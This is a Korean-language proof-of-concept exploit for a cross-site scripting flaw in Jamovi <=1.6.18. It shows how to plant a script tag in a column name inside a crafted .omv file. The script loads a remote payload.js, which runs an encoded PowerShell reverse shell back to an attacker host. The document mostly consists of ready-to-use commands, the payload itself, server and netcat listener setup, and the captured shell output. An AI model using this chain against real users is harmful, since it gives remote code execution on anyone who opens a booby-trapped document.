
# Jamovi <=1.6.18 XSS 취약점 PoC 익스플로잇 Jamovi <=1.6.18의 XSS 취약점에 대한 개념 증명 익스플로잇입니다. JavaScript 페이로드가 포함된 악성 .omv 문서를 제작하여 ElectronJS를 통한 원격 코드 실행을 달성하는 방법을 보여줍니다.
Jamovi <=1.6.18은 크로스 사이트 스크립팅(XSS) 취약점의 영향을 받습니다. ElectronJS 프레임워크에서 열 이름이 XSS에 취약합니다. 공격자는 페이로드가 포함된 .omv(Jamovi) 문서를 만들 수 있습니다. 피해자가 열면 페이로드가 트리거됩니다.
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
모든 OMV 파일은 아카이브된 데이터입니다. 따라서 XSS 버그를 악용하기 위해 압축을 풀고 수정할 수 있습니다.
🔥\> unzip example.omv
Archive: example.omv
inflating: META-INF/MANIFEST.MF
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
🔥\> ls
'01 empty' data.bin index.html metadata.json META-INF example.omv xdata.json
metadata.json 파일을 편집하고 XSS 페이로드를 추가합니다.
🔥\> python3 -m json.tool metadata.json | head
{
"dataSet": {
"rowCount": 20,
"columnCount": 3,
"removedRows": [],
"addedRows": [],
"fields": [
{
"name": "<script src=\"http://10.x.x.x/payload.js\"></script>",
"id": 1,
Name 필드는 XSS에 취약하며, 여기에 XSS 페이로드를 추가해야 합니다. 스크립트 내부의 큰따옴표를 이스케이프 처리해야 합니다. 성공적인 악용 시 실제 페이로드가 있는 웹 서버에 접근합니다. 아래 JS 스크립트를 사용하여 명령을 실행하여 셸 액세스 권한을 얻을 수 있습니다.
require('child_process').exec('command')
Windows OS인 경우 powershell을 사용할 수 있고 Linux인 경우 bash one-liner를 사용할 수 있습니다.
🔥\> cat payload.js
require('child_process').exec('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AeAAuAHgALgB4ACIALAA0ADUANgA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==')
위는 powershell 명령이 포함된 JS 파일의 예입니다. 이제 업데이트된 metadata.json으로 다시 압축해야 합니다.
🔥\> zip -r example.omv .
adding: 01 empty/ (stored 0%)
adding: 01 empty/analysis (deflated 8%)
adding: index.html (deflated 67%)
adding: xdata.json (deflated 33%)
adding: metadata.json (deflated 78%)
adding: META-INF/ (stored 0%)
adding: META-INF/MANIFEST.MF (deflated 30%)
adding: data.bin (deflated 84%)
🔥\> file example.omv
example.omv: Zip archive data, at least v2.0 to extract
payload.js 파일을 제공하기 위해 웹 서버를 설정합니다
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
netcat 리스너를 설정합니다
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
이제 'example.omv' 파일을 실행하여 XSS 버그를 악용하고 웹 서버에서 히트가 있는지 확인한 다음 netcat 리스너를 확인합니다.
🔥\> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.x.x.x - - [31/Oct/2021 08:53:25] "GET /payload.js HTTP/1.1" 200 -
🔥\> rlwrap nc -lvnp 4567
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4567
Ncat: Listening on 0.0.0.0:4567
Ncat: Connection from 10.x.x.x.
Ncat: Connection from 10.x.x.x:76544.
PS C:\Windows\system32> whoami
omni\localuser